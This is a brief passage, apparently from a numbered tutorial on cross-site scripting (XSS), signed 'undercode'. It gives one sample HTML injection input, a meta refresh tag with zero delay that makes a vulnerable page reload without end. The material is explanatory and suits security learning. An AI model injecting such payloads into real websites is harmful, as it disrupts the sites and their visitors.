4) The XSS input may also be an HTML code segment, such as making the webpage refresh constantly:
<meta http- equiv = "refresh" content = "0;">
written by undercode
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